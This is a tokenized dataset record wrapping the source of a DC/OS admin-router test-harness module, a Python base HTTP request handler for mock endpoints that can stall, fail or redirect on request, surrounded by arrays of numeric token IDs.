9292, 12, 7798, 63, 475, 63, 26908, 63, 3463, 63, 3642, 12, 413, 9, 523, 562, 76, 63, 20865, 293, 9292, 14, 409, 63, 1392, 8, 20865, 293, 9292, 14, 1392, 4439, 17, 1055, 13433, 8, 272, 7798, 63, 475, 63, 26908, 63, 3463, 63, 3642, 14, 1392, 1988, 17, 16720, 819, 327, 8354, 282, 410, 25007, 7068, 943, 370, 664, 943, 13, 32167, 562, 76, 13, 3467, 30900, 293, 9292, 14, 523, 943, 63, 26908, 63, 20865, 293, 9292, 275, 2833, 14, 793, 8, 26908, 63, 20865, 293, 9292, 435, 413, 69, 13, 22, 9, 819, 327, 8354, 603, 38, 2571, 83, 687, 943, 63, 26908, 63, 20865, 293, 9292, 436, 5452, 314, 1642, 4944, 14, 523, 333, 3003, 1259, 275, 2833, 14, 2828, 14, 4653, 14, 77, 3003, 1259, 63, 504, 63, 793, 63, 26908, 63, 20865, 293, 9292, 8, 272, 943, 63, 26908, 63, 20865, 293, 9292, 2788, 11577, 520, 969, 61, 523, 10841, 819, 3033, 26, 272, 943, 63, 26908, 63, 20865, 293, 9292, 26, 437, 14505, 11577, 1967, 63, 26908, 63, 11329, 16090, 658, 1609, 708, 64, 658, 3861, 64, 402, 489, 943, 13, 32167, 562, 76, 13, 3467, 30900, 293, 9292, 14, 272, 536, 26, 1626, 2716, 536, 367, 314, 3439, 14, 523, 1803, 26, 272, 437, 14505, 11577, 1967, 63, 26908, 63, 11329, 16090, 658, 1609, 708, 64, 658, 3861, 64, 402, 314, 603, 38, 2571, 83, 402, 272, 658, 793, 63, 26908, 63, 20865, 293, 9292, 2313, 819, 6218, 26, 272, 1722, 26, 982, 658, 1507, 63, 26908, 63, 11329, 64, 365, 440, 7317, 14, 819, 359, 11821, 2055, 2189, 4178, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 45, 352, 13, 11132, 63, 28448, 495, 453, 523, 359, 517, 75, 2189, 4178, 921, 287, 14, 13961, 14, 1308, 15, 6797 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 45, 352, 13, 18285, 445, 1545, 31943, 1849, 21069, 83, 334, 13463, 2571, 83, 9, 4156, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 28397, 63, 1483, 421, 199, 318, 333, 3003, 1259, 63, 504, 63, 793, 63, 26908, 63, 20865, 293, 9292, 8, 793, 63, 26908, 63, 20865, 293, 9292, 12, 536, 29, 403, 304, 523, 408, 22594, 359, 13463, 2571, 83, 1527, 11821, 2055, 61, 402, 658, 793, 63, 26908, 63, 20865, 293, 9292, 2313, 819, 11794, 2509, 543, 18613, 13, 6490, 4156, 436, 5171, 12661, 14, 819, 359, 45, 352, 13, 18285, 445, 1545, 31943, 1849, 21069, 334, 13463, 2571, 30372, 11821, 2055, 61, 15232, 18581, 402, 523, 16466, 314, 577, 1028, 13, 8921, 402, 282, 943, 13, 32167, 562, 76, 13, 3467, 30900, 293, 1679, 14, 359, 2148, 43, 1527, 517, 75, 6616, 83, 603, 38, 2571, 83, 523, 675, 282, 6770, 13690, 402, 314, 577, 1028, 13, 8921, 1314, 365, 18871, 29069, 523, 16973, 14, 2136, 2035, 642, 16129, 14, 819, 2900, 658, 1507, 63, 26908, 63, 11329, 64, 603, 38, 2571, 83, 787, 2138, 436, 652, 365, 1536, 370, 314, 8025, 370, 3504, 523, 282, 10026, 402, 314, 603, 38, 2571, 83, 4079, 641, 3932, 4223, 14, 2104, 2893, 12, 652, 365, 25780, 523, 370, 1454, 675, 314, 1642, 9284, 367, 32093, 17319, 15415, 12, 465, 642, 2058, 315, 523, 376, 19917, 590, 20031, 13, 262, 8759, 6025, 402, 314, 4673, 14, 819, 2104, 2893, 26, 819, 10841, 1548, 523, 2690, 63, 1866, 275, 3193, 1493, 14, 16, 523, 327, 437, 5878, 402, 359, 2912, 63, 890, 12, 1967, 63, 3356, 61, 3485, 79, 510, 9249, 5845, 315, 314, 1425, 5243, 17, 12, 413, 1055, 523, 299, 4400, 275, 2833, 14, 6199, 8, 3249, 14, 1609, 708, 12, 359, 403, 12, 488, 566, 819, 327, 437, 6619, 13, 1403, 4384, 2161, 543, 11223, 402, 5049, 6605, 436, 13098, 5, 15145, 14, 523, 410, 856, 83, 275, 2833, 14, 2828, 14, 4653, 14, 270, 856, 8, 2352, 77, 12, 2787, 63, 1267, 29, 7727, 12, 2787, 63, 2926, 29, 3912, 12, 639, 18160, 63, 1267, 29, 7727, 9, 523, 30900, 293, 9292, 275, 2833, 14, 2101, 8, 270, 856, 83, 9, 819, 327, 644, 12868, 314, 7798, 4666, 30900, 293, 9292, 1901, 314, 562, 76, 13, 3467, 14, 523, 1967, 63, 20865, 293, 1679, 63, 11329, 275, 410, 856, 83, 14, 1392, 1988, 17, 1055, 585, 523, 5117, 63, 5173, 63, 2523, 3903, 12, 7008, 63, 5173, 63, 2523, 3903, 12, 1967, 63, 26908, 63, 11329, 275, 5939, 14, 16, 12, 1520, 6683, 14, 16, 12, 5939, 523, 7798, 63, 475, 63, 26908, 63, 3463, 63, 3642, 275, 2833, 14, 2828, 14, 4653, 14, 6676, 63, 475, 63, 26908, 63, 3463, 63, 3642, 8, 272, 1967, 63, 26908, 63, 11329, 12, 1967, 63, 20865, 293, 1679, 63, 11329, 12, 2690, 63, 1866, 12, 5117, 63, 5173, 63, 2523, 3903, 12, 272, 7008, 63, 5173, 63, 2523, 3903, 9, 523, 562, 76, 63, 20865, 293, 9292, 275, 2833, 14, 3128, 3287, 8, 272, 30900, 293, 9292, 12, 7798, 63, 475, 63, 26908, 63, 3463, 63, 3642, 12, 413, 9, 523, 562, 76, 63, 20865, 293, 9292, 14, 409, 63, 1392, 8, 20865, 293, 9292, 14, 1392, 4439, 17, 1055, 13433, 8, 272, 7798, 63, 475, 63, 26908, 63, 3463, 63, 3642, 14, 1392, 1988, 17, 16720, 819, 327, 8354, 282, 410, 25007, 7068, 943, 370, 664, 943, 13, 32167, 562, 76, 13, 3467, 30900, 293, 9292, 14, 523, 943, 63, 26908, 63, 20865, 293, 9292, 275, 2833, 14, 793, 8, 26908, 63, 20865, 293, 9292, 435, 413, 69, 13, 22, 9, 819, 327, 8354, 603, 38, 2571, 83, 687, 943, 63, 26908, 63, 20865, 293, 9292, 436, 5452, 314, 1642, 4944, 14, 523, 333, 3003, 1259, 275, 2833, 14, 2828, 14, 4653, 14, 77, 3003, 1259, 63, 504, 63, 793, 63, 26908, 63, 20865, 293, 9292, 8, 272, 943, 63, 26908, 63, 20865, 293, 9292, 2788, 11577, 520, 969, 61, 523, 10841, 819, 3033, 26, 272, 943, 63, 26908, 63, 20865, 293, 9292, 26, 437, 14505, 11577, 1967, 63, 26908, 63, 11329, 16090, 658, 1609, 708, 64, 658, 3861, 64, 402, 489, 943, 13, 32167, 562, 76, 13, 3467, 30900, 293, 9292, 14, 272, 536, 26, 1626, 2716, 536, 367, 314, 3439, 14, 523, 1803, 26, 272, 437, 14505, 11577, 1967, 63, 26908, 63, 11329, 16090, 658, 1609, 708, 64, 658, 3861, 64, 402, 314, 603, 38, 2571, 83, 402, 272, 658, 793, 63, 26908, 63, 20865, 293, 9292, 2313, 819, 6218, 26, 272, 1722, 26, 982, 658, 1507, 63, 26908, 63, 11329, 64, 365, 440, 7317, 14, 819, 359, 11821, 2055, 2189, 4178, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 45, 352, 13, 11132, 63, 28448, 495, 453, 523, 359, 517, 75, 2189, 4178, 921, 287, 14, 13961, 14, 1308, 15, 6797, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
darkonie/dcos
packages/adminrouter/extra/src/test-harness/modules/mocker/endpoints/basehandler.py
3
10107
# Copyright (C) Mesosphere, Inc. See LICENSE file for details. """Module that defines the behaviour common to all requests handlers used by mocker. """ import abc import http.server import json import logging import socket import time import traceback from urllib.parse import parse_qs, urlparse from exceptions import EndpointException # pylint: disable=C0103 log = logging.getLogger(__name__) class BaseHTTPRequestHandler(http.server.BaseHTTPRequestHandler, metaclass=abc.ABCMeta): """HTTP request handler base class that implements all common behaviour shared across mocker's request handlers. """ @abc.abstractmethod def _calculate_response(self, base_path, url_args, body_args=None): """Calculate response basing on the request arguments. Methods overriding it should return a response body that reflects requests arguments and path. Args: base_path (str): request's path without query parameters url_args (dict): a dictionary containing all the query arguments encoded in request path body_args (dict): a dictionary containing all the arguments encoded in the body of the request Returns: A bytes array, exactly as it should be send to the client. Raises: EndpointException: This exception signalizes that the normal processing of the request should be stopped, and the response with given status&content-encoding&body should be immediately sent. """ pass @abc.abstractmethod def _parse_request_body(self): """Extract requests arguments encoded in it's body Methods overriding it should parse request body in a way that's suitable for given request handler. Returns: It depends on the request handler - it may be a dict, a string, or anything/nothing. Raises: EndpointException: This exception signalizes that the normal processing of the request should be stopped, and the response with given status&content-encoding&body should be immediately sent. """ pass def _process_commands(self, blob): """Process all the endpoint configuration and execute things that user requested. Please check the Returns section to understand how chaining response handling/overriding this method look like. Arguments: blob (bytes array): data that is meant to be sent to the client. Returns: True/False depending on whether response was handled by this method or not. Basing on it calling method determines if it should continue processing data. """ ctx = self.server.context with ctx.lock: do_always_bork = ctx.data['always_bork'] do_always_redirect = ctx.data['always_redirect'] redirect_target = ctx.data['redirect_target'] do_always_stall = ctx.data['always_stall'] stall_time = ctx.data['stall_time'] if do_always_stall: msg_fmt = "Endpoint `%s` waiting `%f` seconds as requested" log.debug(msg_fmt, ctx.data['endpoint_id'], stall_time) time.sleep(stall_time) # This does not end request processing if do_always_bork: msg_fmt = "Endpoint `%s` sending broken response as requested" log.debug(msg_fmt, ctx.data['endpoint_id']) blob = b"Broken response due to `always_bork` flag being set" self._finalize_request(500, 'text/plain; charset=utf-8', blob) return True if do_always_redirect: msg_fmt = "Endpoint `%s` sending redirect to `%s` as requested" log.debug(msg_fmt, ctx.data['endpoint_id'], redirect_target) headers = {"Location": redirect_target} self._finalize_request(307, 'text/plain; charset=utf-8', blob, extra_headers=headers) return True return False def log_message(self, log_format, *args): """Just a patch to make Mockers Requests Handlers compatible with Unix Sockets. Method logs the request without source IP address/with hard-coded value of `unix-socket-connection` if the socket is a Unix Socket. Please check the http.server.BaseHTTPRequestHandler documentation for the meaning of the function arguments. """ endpoint_id = self.server.context.data['endpoint_id'] if self.server.address_family == socket.AF_UNIX: log.debug("[Endpoint: %s] %s - - [%s] %s\n", endpoint_id, "unix-socket-connection", self.log_date_time_string(), log_format % args) else: log.debug("[Endpoint: %s] %s - - [%s] %s\n", endpoint_id, self.address_string(), self.log_date_time_string(), log_format % args) def _finalize_request(self, code, content_type, blob, extra_headers=None): """A helper function meant to abstract sending request to client Arguments: code (int): HTTP response code to send content_type (string): HTTP content type value of the response blob (b''): data to send to the client in the body of the request extra_headers (dict): extra headers that should be set in the reply """ try: self.send_response(code) self.send_header('Content-type', content_type) if extra_headers is not None: for name, val in extra_headers.items(): self.send_header(name, val) self.end_headers() self.wfile.write(blob) except BrokenPipeError: log.warn("Client already closed the connection, " "aborting sending the response") @staticmethod def _convert_data_to_blob(data): """A helper function meant to simplify converting python objects to bytes arrays. Arguments: data: data to convert to b''. Can be anything as long as it's JSON serializable. Returns: A resulting byte sequence """ return json.dumps(data, indent=4, sort_keys=True, ensure_ascii=False, ).encode('utf-8', errors='backslashreplace') def _parse_request_path(self): """Parse query arguments in the request path to dict. Returns: A tuple that contains a request path stripped of query arguments and a dict containing all the query arguments (if any). """ parsed_url = urlparse(self.path) path_component = parsed_url.path query_components = parse_qs(parsed_url.query) return path_component, query_components def _unified_method_handler(self): """A unified entry point for all request types. This method is meant to be top level entry point for all requests. This class specifies only GET|POST for now, but other handlers can add request types if necessary. All query parameters are extracted (both from the uri and the body), and the handlers self._calculate_response method is called to produce a correct response. Handlers may terminate this workflow by raising EndpointException if necessary. All other exceptions are also caught and apart from being logged, are also send to the client in order to make debugging potential problems easier and failures more explicit. """ try: path, url_args = self._parse_request_path() body_args = self._parse_request_body() status, content_type, blob = self._calculate_response(path, url_args, body_args) except EndpointException as e: self._finalize_request(e.code, e.content_type, e.reason) # Pylint, please trust me on this one ;) # pylint: disable=W0703 except Exception: endpoint_id = self.server.context.data['endpoint_id'] msg_fmt = ("Exception occurred while handling the request in " "endpoint `%s`") log.exception(msg_fmt, endpoint_id) # traceback.format_exc() returns str, i.e. text, i.e. a sequence of # unicode code points. UTF-8 is a unicode-complete codec. That is, # any and all unicode code points can be encoded. blob = traceback.format_exc().encode('utf-8') self._finalize_request(500, 'text/plain; charset=utf-8', blob) else: request_handled = self._process_commands(blob) # No need to specify character encoding if type is json: # http://stackoverflow.com/a/9254967 if not request_handled: self._finalize_request(status, content_type, blob) def do_GET(self): """Please check the http.server.BaseHTTPRequestHandler documentation for the method description. Worth noting is that GET request can also be a POST - can have both request path arguments and body arguments. http://stackoverflow.com/a/2064369 """ self._unified_method_handler() def do_POST(self): """Please check the http.server.BaseHTTPRequestHandler documentation for the method description. Worth noting is that GET request can also be a POST - can have both request path arguments and body arguments. http://stackoverflow.com/a/2064369 """ self._unified_method_handler()
apache-2.0
[ 3, 1898, 334, 35, 9, 603, 397, 79, 14980, 12, 3277, 14, 1666, 5113, 570, 367, 2436, 14, 199, 199, 624, 2377, 626, 7890, 314, 13942, 2863, 370, 1006, 4145, 8297, 1202, 701, 15981, 14, 199, 624, 199, 199, 646, 13022, 199, 646, 1455, 14, 1000, 199, 646, 2022, 199, 646, 2050, 199, 646, 2838, 199, 646, 900, 199, 646, 5190, 199, 199, 504, 4011, 14, 1122, 492, 2198, 63, 6177, 12, 7097, 199, 199, 504, 4967, 492, 9599, 1403, 1726, 199, 199, 3, 4287, 26, 3507, 29, 35, 28399, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 3523, 23518, 8, 1014, 14, 1000, 14, 1563, 23518, 12, 2490, 17074, 29, 3175, 14, 22254, 304, 272, 408, 2856, 1056, 3016, 1300, 1021, 626, 9031, 1006, 2863, 13942, 2126, 5709, 9371, 15981, 1159, 1056, 8297, 14, 272, 408, 272, 768, 3175, 14, 10315, 272, 347, 485, 12063, 63, 1310, 8, 277, 12, 1300, 63, 515, 12, 1166, 63, 589, 12, 2396, 63, 589, 29, 403, 304, 267, 408, 14860, 1177, 330, 11571, 641, 314, 1056, 2368, 14, 398, 17653, 18972, 652, 1077, 372, 282, 1177, 2396, 626, 16806, 83, 267, 4145, 2368, 436, 931, 14, 398, 3033, 26, 288, 1300, 63, 515, 334, 495, 304, 1056, 1159, 931, 1928, 1827, 2633, 288, 1166, 63, 589, 334, 807, 304, 282, 2600, 3035, 1006, 314, 1827, 2368, 355, 5737, 315, 1056, 931, 288, 2396, 63, 589, 334, 807, 304, 282, 2600, 3035, 1006, 314, 2368, 5737, 355, 315, 314, 2396, 402, 314, 1056, 398, 1803, 26, 288, 437, 2783, 1625, 12, 8840, 465, 652, 1077, 506, 3222, 370, 314, 1890, 14, 398, 6218, 26, 288, 9599, 1403, 1726, 26, 961, 1919, 4673, 6491, 626, 314, 3293, 355, 6661, 402, 314, 1056, 1077, 506, 15248, 12, 436, 314, 1177, 355, 543, 1627, 2004, 6, 1317, 13, 2991, 6, 2030, 1077, 506, 9939, 355, 4847, 14, 267, 408, 267, 986, 339, 768, 3175, 14, 10315, 272, 347, 485, 1122, 63, 1069, 63, 2030, 8, 277, 304, 267, 408, 12147, 4145, 2368, 5737, 315, 652, 1159, 2396, 398, 17653, 18972, 652, 1077, 2198, 1056, 2396, 315, 282, 4340, 626, 1159, 267, 11233, 367, 1627, 1056, 3016, 14, 398, 1803, 26, 288, 2779, 8350, 641, 314, 1056, 3016, 446, 652, 1443, 506, 282, 1211, 12, 282, 1059, 12, 288, 503, 7003, 15, 16323, 14, 398, 6218, 26, 288, 9599, 1403, 1726, 26, 961, 1919, 4673, 6491, 626, 314, 3293, 355, 6661, 402, 314, 1056, 1077, 506, 15248, 12, 436, 314, 1177, 355, 543, 1627, 2004, 6, 1317, 13, 2991, 6, 2030, 1077, 506, 9939, 355, 4847, 14, 267, 408, 267, 986, 339, 347, 485, 1412, 63, 4405, 8, 277, 12, 9182, 304, 267, 408, 3498, 1006, 314, 6037, 2897, 436, 5341, 7645, 626, 1779, 922, 5839, 14, 398, 7754, 1104, 314, 1803, 3420, 370, 20647, 4212, 6036, 316, 1177, 267, 7252, 15, 1883, 15526, 642, 1083, 3648, 2839, 14, 398, 7628, 26, 288, 9182, 334, 2394, 1625, 304, 666, 626, 365, 18329, 370, 506, 4847, 370, 314, 1890, 14, 398, 1803, 26, 288, 715, 15, 797, 10298, 641, 3775, 1177, 1990, 8860, 701, 642, 1083, 288, 503, 440, 14, 699, 11571, 641, 652, 6358, 1083, 16756, 340, 652, 1077, 1980, 288, 6661, 666, 14, 267, 408, 267, 4027, 275, 291, 14, 1000, 14, 1100, 398, 543, 4027, 14, 831, 26, 288, 886, 63, 9223, 63, 66, 4708, 275, 4027, 14, 576, 459, 9223, 63, 66, 4708, 418, 953, 886, 63, 9223, 63, 4876, 275, 4027, 14, 576, 459, 9223, 63, 4876, 418, 288, 4660, 63, 1375, 275, 4027, 14, 576, 459, 4876, 63, 1375, 418, 953, 886, 63, 9223, 63, 1984, 275, 4027, 14, 576, 459, 9223, 63, 1984, 418, 288, 410, 452, 63, 521, 275, 4027, 14, 576, 459, 1984, 63, 521, 418, 398, 340, 886, 63, 9223, 63, 1984, 26, 288, 1499, 63, 5045, 275, 298, 11442, 18633, 83, 64, 10923, 18633, 70, 64, 4696, 465, 5839, 2, 288, 943, 14, 1757, 8, 1328, 63, 5045, 12, 4027, 14, 576, 459, 6520, 63, 344, 995, 410, 452, 63, 521, 9, 288, 900, 14, 4532, 8, 1984, 63, 521, 9, 288, 327, 961, 1630, 440, 1284, 1056, 6661, 398, 340, 886, 63, 9223, 63, 66, 4708, 26, 288, 1499, 63, 5045, 275, 298, 11442, 18633, 83, 64, 10209, 10529, 1177, 465, 5839, 2, 288, 943, 14, 1757, 8, 1328, 63, 5045, 12, 4027, 14, 576, 459, 6520, 63, 344, 1105, 288, 9182, 275, 330, 2, 30509, 1177, 7037, 370, 658, 9223, 63, 66, 4708, 64, 3305, 3769, 663, 2, 288, 291, 423, 14450, 63, 1069, 8, 5783, 12, 283, 505, 15, 6104, 27, 5960, 29, 1624, 13, 24, 297, 9182, 9, 288, 372, 715, 398, 340, 886, 63, 9223, 63, 4876, 26, 288, 1499, 63, 5045, 275, 298, 11442, 18633, 83, 64, 10209, 4660, 370, 18633, 83, 64, 465, 5839, 2, 288, 943, 14, 1757, 8, 1328, 63, 5045, 12, 4027, 14, 576, 459, 6520, 63, 344, 995, 4660, 63, 1375, 9, 288, 2323, 275, 2420, 6592, 582, 4660, 63, 1375, 93, 288, 291, 423, 14450, 63, 1069, 8, 11516, 12, 3521, 283, 505, 15, 6104, 27, 5960, 29, 1624, 13, 24, 297, 3521, 9182, 12, 3521, 2402, 63, 2139, 29, 2139, 9, 288, 372, 715, 398, 372, 756, 339, 347, 943, 63, 1188, 8, 277, 12, 943, 63, 908, 12, 627, 589, 304, 267, 408, 22850, 282, 3371, 370, 1852, 4420, 1192, 20260, 18599, 83, 9025, 543, 1779, 13074, 17766, 83, 14, 398, 9075, 9610, 314, 1056, 1928, 1350, 3531, 2287, 15, 1045, 7508, 13, 15282, 574, 267, 402, 658, 11864, 13, 3450, 13, 2105, 64, 340, 314, 2838, 365, 282, 13074, 17766, 14, 398, 7754, 1104, 314, 1455, 14, 1000, 14, 1563, 23518, 3794, 267, 367, 314, 11150, 402, 314, 805, 2368, 14, 267, 408, 267, 6037, 63, 344, 275, 291, 14, 1000, 14, 1100, 14, 576, 459, 6520, 63, 344, 418, 267, 340, 291, 14, 1000, 14, 1562, 63, 6606, 508, 2838, 14, 5699, 63, 19584, 26, 288, 943, 14, 1757, 10994, 11442, 26, 450, 83, 61, 450, 83, 446, 446, 8978, 83, 61, 450, 83, 60, 78, 401, 1993, 6037, 63, 344 ]
[ 1898, 334, 35, 9, 603, 397, 79, 14980, 12, 3277, 14, 1666, 5113, 570, 367, 2436, 14, 199, 199, 624, 2377, 626, 7890, 314, 13942, 2863, 370, 1006, 4145, 8297, 1202, 701, 15981, 14, 199, 624, 199, 199, 646, 13022, 199, 646, 1455, 14, 1000, 199, 646, 2022, 199, 646, 2050, 199, 646, 2838, 199, 646, 900, 199, 646, 5190, 199, 199, 504, 4011, 14, 1122, 492, 2198, 63, 6177, 12, 7097, 199, 199, 504, 4967, 492, 9599, 1403, 1726, 199, 199, 3, 4287, 26, 3507, 29, 35, 28399, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 3523, 23518, 8, 1014, 14, 1000, 14, 1563, 23518, 12, 2490, 17074, 29, 3175, 14, 22254, 304, 272, 408, 2856, 1056, 3016, 1300, 1021, 626, 9031, 1006, 2863, 13942, 2126, 5709, 9371, 15981, 1159, 1056, 8297, 14, 272, 408, 272, 768, 3175, 14, 10315, 272, 347, 485, 12063, 63, 1310, 8, 277, 12, 1300, 63, 515, 12, 1166, 63, 589, 12, 2396, 63, 589, 29, 403, 304, 267, 408, 14860, 1177, 330, 11571, 641, 314, 1056, 2368, 14, 398, 17653, 18972, 652, 1077, 372, 282, 1177, 2396, 626, 16806, 83, 267, 4145, 2368, 436, 931, 14, 398, 3033, 26, 288, 1300, 63, 515, 334, 495, 304, 1056, 1159, 931, 1928, 1827, 2633, 288, 1166, 63, 589, 334, 807, 304, 282, 2600, 3035, 1006, 314, 1827, 2368, 355, 5737, 315, 1056, 931, 288, 2396, 63, 589, 334, 807, 304, 282, 2600, 3035, 1006, 314, 2368, 5737, 355, 315, 314, 2396, 402, 314, 1056, 398, 1803, 26, 288, 437, 2783, 1625, 12, 8840, 465, 652, 1077, 506, 3222, 370, 314, 1890, 14, 398, 6218, 26, 288, 9599, 1403, 1726, 26, 961, 1919, 4673, 6491, 626, 314, 3293, 355, 6661, 402, 314, 1056, 1077, 506, 15248, 12, 436, 314, 1177, 355, 543, 1627, 2004, 6, 1317, 13, 2991, 6, 2030, 1077, 506, 9939, 355, 4847, 14, 267, 408, 267, 986, 339, 768, 3175, 14, 10315, 272, 347, 485, 1122, 63, 1069, 63, 2030, 8, 277, 304, 267, 408, 12147, 4145, 2368, 5737, 315, 652, 1159, 2396, 398, 17653, 18972, 652, 1077, 2198, 1056, 2396, 315, 282, 4340, 626, 1159, 267, 11233, 367, 1627, 1056, 3016, 14, 398, 1803, 26, 288, 2779, 8350, 641, 314, 1056, 3016, 446, 652, 1443, 506, 282, 1211, 12, 282, 1059, 12, 288, 503, 7003, 15, 16323, 14, 398, 6218, 26, 288, 9599, 1403, 1726, 26, 961, 1919, 4673, 6491, 626, 314, 3293, 355, 6661, 402, 314, 1056, 1077, 506, 15248, 12, 436, 314, 1177, 355, 543, 1627, 2004, 6, 1317, 13, 2991, 6, 2030, 1077, 506, 9939, 355, 4847, 14, 267, 408, 267, 986, 339, 347, 485, 1412, 63, 4405, 8, 277, 12, 9182, 304, 267, 408, 3498, 1006, 314, 6037, 2897, 436, 5341, 7645, 626, 1779, 922, 5839, 14, 398, 7754, 1104, 314, 1803, 3420, 370, 20647, 4212, 6036, 316, 1177, 267, 7252, 15, 1883, 15526, 642, 1083, 3648, 2839, 14, 398, 7628, 26, 288, 9182, 334, 2394, 1625, 304, 666, 626, 365, 18329, 370, 506, 4847, 370, 314, 1890, 14, 398, 1803, 26, 288, 715, 15, 797, 10298, 641, 3775, 1177, 1990, 8860, 701, 642, 1083, 288, 503, 440, 14, 699, 11571, 641, 652, 6358, 1083, 16756, 340, 652, 1077, 1980, 288, 6661, 666, 14, 267, 408, 267, 4027, 275, 291, 14, 1000, 14, 1100, 398, 543, 4027, 14, 831, 26, 288, 886, 63, 9223, 63, 66, 4708, 275, 4027, 14, 576, 459, 9223, 63, 66, 4708, 418, 953, 886, 63, 9223, 63, 4876, 275, 4027, 14, 576, 459, 9223, 63, 4876, 418, 288, 4660, 63, 1375, 275, 4027, 14, 576, 459, 4876, 63, 1375, 418, 953, 886, 63, 9223, 63, 1984, 275, 4027, 14, 576, 459, 9223, 63, 1984, 418, 288, 410, 452, 63, 521, 275, 4027, 14, 576, 459, 1984, 63, 521, 418, 398, 340, 886, 63, 9223, 63, 1984, 26, 288, 1499, 63, 5045, 275, 298, 11442, 18633, 83, 64, 10923, 18633, 70, 64, 4696, 465, 5839, 2, 288, 943, 14, 1757, 8, 1328, 63, 5045, 12, 4027, 14, 576, 459, 6520, 63, 344, 995, 410, 452, 63, 521, 9, 288, 900, 14, 4532, 8, 1984, 63, 521, 9, 288, 327, 961, 1630, 440, 1284, 1056, 6661, 398, 340, 886, 63, 9223, 63, 66, 4708, 26, 288, 1499, 63, 5045, 275, 298, 11442, 18633, 83, 64, 10209, 10529, 1177, 465, 5839, 2, 288, 943, 14, 1757, 8, 1328, 63, 5045, 12, 4027, 14, 576, 459, 6520, 63, 344, 1105, 288, 9182, 275, 330, 2, 30509, 1177, 7037, 370, 658, 9223, 63, 66, 4708, 64, 3305, 3769, 663, 2, 288, 291, 423, 14450, 63, 1069, 8, 5783, 12, 283, 505, 15, 6104, 27, 5960, 29, 1624, 13, 24, 297, 9182, 9, 288, 372, 715, 398, 340, 886, 63, 9223, 63, 4876, 26, 288, 1499, 63, 5045, 275, 298, 11442, 18633, 83, 64, 10209, 4660, 370, 18633, 83, 64, 465, 5839, 2, 288, 943, 14, 1757, 8, 1328, 63, 5045, 12, 4027, 14, 576, 459, 6520, 63, 344, 995, 4660, 63, 1375, 9, 288, 2323, 275, 2420, 6592, 582, 4660, 63, 1375, 93, 288, 291, 423, 14450, 63, 1069, 8, 11516, 12, 3521, 283, 505, 15, 6104, 27, 5960, 29, 1624, 13, 24, 297, 3521, 9182, 12, 3521, 2402, 63, 2139, 29, 2139, 9, 288, 372, 715, 398, 372, 756, 339, 347, 943, 63, 1188, 8, 277, 12, 943, 63, 908, 12, 627, 589, 304, 267, 408, 22850, 282, 3371, 370, 1852, 4420, 1192, 20260, 18599, 83, 9025, 543, 1779, 13074, 17766, 83, 14, 398, 9075, 9610, 314, 1056, 1928, 1350, 3531, 2287, 15, 1045, 7508, 13, 15282, 574, 267, 402, 658, 11864, 13, 3450, 13, 2105, 64, 340, 314, 2838, 365, 282, 13074, 17766, 14, 398, 7754, 1104, 314, 1455, 